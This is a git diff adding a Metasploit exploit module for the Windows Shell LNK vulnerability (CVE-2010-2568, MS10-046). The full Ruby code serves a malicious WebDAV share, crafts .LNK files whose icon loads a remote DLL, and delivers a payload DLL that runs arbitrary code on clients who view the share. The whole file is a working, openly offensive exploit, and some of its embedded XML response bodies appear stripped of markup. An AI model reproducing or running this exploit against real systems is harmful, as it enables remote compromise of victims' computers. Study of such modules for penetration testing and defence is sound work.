diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
new file mode 100644
index 0000000000..8d13acb80a
--- /dev/null
+++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
@@ -0,0 +1,456 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ #
+ # This module acts as an HTTP server
+ #
+ include Msf::Exploit::Remote::HttpServer::HTML
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Microsoft Windows Shell LNK Code Execution',
+ 'Description' => %q{
+ This module exploits a vulnerability in the handling of Windows
+ Shortcut files (.LNK) that contain an icon resource pointing to a
+ malicious DLL. This module creates a WebDAV service that can be used
+ to run an arbitrary payload when accessed as a UNC path.
+ },
+ 'Author' =>
+ [
+ 'hdm', # Module itself
+ 'jduck', # WebDAV implementation, UNCHOST var
+ 'B_H' # Clean LNK template
+ ],
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'References' =>
+ [
+ ['CVE', '2010-2568'],
+ ['OSVDB', '66387'],
+ ['MSB', 'MS10-046'],
+ ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
+ ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'process',
+ },
+ 'Payload' =>
+ {
+ 'Space' => 2048,
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'Automatic', { } ]
+ ],
+ 'DisclosureDate' => 'Jul 16 2010',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
+ OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
+ OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
+ ], self.class)
+
+ deregister_options('SSL', 'SSLVersion') # Just for now
+ end
+
+ def on_request_uri(cli, request)
+
+ case request.method
+ when 'OPTIONS'
+ process_options(cli, request)
+ when 'PROPFIND'
+ process_propfind(cli, request)
+ when 'GET'
+ process_get(cli, request)
+ else
+ print_error("Unexpected request method encountered: #{request.method}")
+ resp = create_response(404, "Not Found")
+ resp.body = ""
+ resp['Content-Type'] = 'text/html'
+ cli.send_response(resp)
+ end
+
+ end
+
+ def process_get(cli, request)
+
+ myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+ webdav = "\\\\#{myhost}\\"
+
+ if (request.uri =~ /\.dll$/i)
+ print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
+ return if ((p = regenerate_payload(cli)) == nil)
+ # Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/
+ data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
+ send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
+ return
+ end
+
+ if (request.uri =~ /\.lnk$/i)
+ print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
+
+ data = generate_link("#{@exploit_unc}#{@exploit_dll}")
+
+ send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
+ return
+ end
+
+ print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
+ resp = create_response(200, "OK")
+
+ resp.body = %Q|
|
+
+ resp['Content-Type'] = 'text/html'
+ cli.send_response(resp)
+ end
+
+ #
+ # OPTIONS requests sent by the WebDav Mini-Redirector
+ #
+ def process_options(cli, request)
+ print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
+ headers = {
+ 'MS-Author-Via' => 'DAV',
+# 'DASL' => '',
+# 'DAV' => '1, 2',
+ 'Allow' => 'OPTIONS, GET, PROPFIND',
+ 'Public' => 'OPTIONS, GET, PROPFIND'
+ }
+ resp = create_response(207, "Multi-Status")
+ resp.body = ""
+ resp['Content-Type'] = 'text/xml'
+ cli.send_response(resp)
+ end
+
+ #
+ # PROPFIND requests sent by the WebDav Mini-Redirector
+ #
+ def process_propfind(cli, request)
+ path = request.uri
+ print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
+ body = ''
+
+ my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
+ my_uri = "http://#{my_host}/"
+
+ if path =~ /\.dll$/i
+ # Response for the DLL
+ print_status("Sending DLL multistatus for #{path} ...")
+ body = %Q|
+
+
+#{path}#{@exploit_dll}
+
+
+
+2010-07-19T20:29:42Z
+#{rand(0x100000)+128000}
+Mon, 19 Jul 2010 20:29:42 GMT
+"#{"%.16x" % rand(0x100000000)}"
+T
+
+
+
+
+
+
+
+
+
+
+
+application/octet-stream
+
+HTTP/1.1 200 OK
+
+
+
+|
+
+ resp = create_response(207, "Multi-Status")
+ resp.body = body
+ resp['Content-Type'] = 'text/xml'
+ cli.send_response(resp)
+ return
+ end
+
+ if path =~ /\.lnk$/i
+ # Response for the DLL
+ print_status("Sending DLL multistatus for #{path} ...")
+ body = %Q|
+
+
+#{path}#{@exploit_lnk}
+
+
+
+2010-07-19T20:29:42Z
+#{rand(0x100)+128}
+Mon, 19 Jul 2010 20:29:42 GMT
+"#{"%.16x" % rand(0x100000000)}"
+T
+
+
+
+
+
+
+
+
+
+
+
+shortcut
+
+HTTP/1.1 200 OK
+
+
+
+|
+
+ resp = create_response(207, "Multi-Status")
+ resp.body = body
+ resp['Content-Type'] = 'text/xml'
+ cli.send_response(resp)
+ return
+ end
+
+ if path !~ /\/$/
+
+ if path.index(".")
+ print_status("Sending 404 for #{path} ...")
+ resp = create_response(404, "Not Found")
+ resp['Content-Type'] = 'text/html'
+ cli.send_response(resp)
+ return
+ else
+ print_status("Sending 301 for #{path} ...")
+ resp = create_response(301, "Moved")
+ resp["Location"] = path + "/"
+ resp['Content-Type'] = 'text/html'
+ cli.send_response(resp)
+ return
+ end
+ end
+
+ print_status("Sending directory multistatus for #{path} ...")
+ body = %Q|
+
+
+ #{path}
+
+
+
+ 2010-07-19T20:29:42Z
+ Mon, 19 Jul 2010 20:29:42 GMT
+ "#{"%.16x" % rand(0x100000000)}"
+
+
+
+
+
+
+
+
+
+
+
+ httpd/unix-directory
+
+ HTTP/1.1 200 OK
+
+
+|
+
+
+ subdirectory = %Q|
+
+#{path}#{Rex::Text.rand_text_alpha(6)}/
+
+
+
+2010-07-19T20:29:42Z
+Mon, 19 Jul 2010 20:29:42 GMT
+"#{"%.16x" % rand(0x100000000)}"
+
+
+
+
+
+
+
+
+
+
+
+httpd/unix-directory
+
+HTTP/1.1 200 OK
+
+
+|
+
+ files = %Q|
+
+#{path}#{@exploit_dll}
+
+
+
+2010-07-19T20:29:42Z
+#{rand(0x100000)+128000}
+Mon, 19 Jul 2010 20:29:42 GMT
+"#{"%.16x" % rand(0x100000000)}"
+T
+
+
+
+
+
+
+
+
+
+
+
+application/octet-stream
+
+HTTP/1.1 200 OK
+
+
+
+
+#{path}#{@exploit_lnk}
+
+
+
+2010-07-19T20:29:42Z
+#{rand(0x100)+128}
+Mon, 19 Jul 2010 20:29:42 GMT
+"#{"%.16x" % rand(0x100000000)}"
+T
+
+
+
+
+
+
+
+
+
+
+
+shortcut
+
+HTTP/1.1 200 OK
+
+
+|
+ if request["Depth"].to_i > 0
+ if path.scan("/").length < 2
+ body << subdirectory
+ else
+ body << files
+ end
+ end
+
+ body << ""
+
+ body.gsub!(/\t/, '')
+
+ # send the response
+ resp = create_response(207, "Multi-Status")
+ resp.body = body
+ resp['Content-Type'] = 'text/xml; charset="utf8"'
+ cli.send_response(resp)
+ end
+
+ def generate_link(unc)
+ uni_unc = unc.unpack("C*").pack("v*")
+ path = ''
+ path << [
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ ].pack("C*")
+ path << uni_unc
+
+ # LinkHeader
+ ret = [
+ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ ].pack('C*')
+
+ idlist_data = ''
+ idlist_data << [0x12 + 2].pack('v')
+ idlist_data << [
+ 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
+ 0x30, 0x9d
+ ].pack('C*')
+ idlist_data << [0x12 + 2].pack('v')
+ idlist_data << [
+ 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
+ 0x30, 0x9d
+ ].pack('C*')
+ idlist_data << [path.length + 2].pack('v')
+ idlist_data << path
+ idlist_data << [0x00].pack('v') # TERMINAL WOO
+
+ # LinkTargetIDList
+ ret << [idlist_data.length].pack('v') # IDListSize
+ ret << idlist_data
+
+ # ExtraData blocks (none)
+ ret << [rand(4)].pack('V')
+
+ # Patch in the LinkFlags
+ ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
+ ret
+ end
+
+ def exploit
+
+ unc = "\\\\"
+ if (datastore['UNCHOST'])
+ unc << datastore['UNCHOST'].dup
+ else
+ unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
+ end
+ unc << "\\"
+ unc << rand_text_alpha(rand(8)+4)
+ unc << "\\"
+
+ @exploit_unc = unc
+ @exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
+ @exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"
+
+ if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
+ raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
+ end
+
+ print_status("")
+ print_status("Send vulnerable clients to #{@exploit_unc}.")
+ print_status("Or, get clients to save and render the icon of http:///.lnk")
+ print_status("")
+
+ super
+ end
+end
+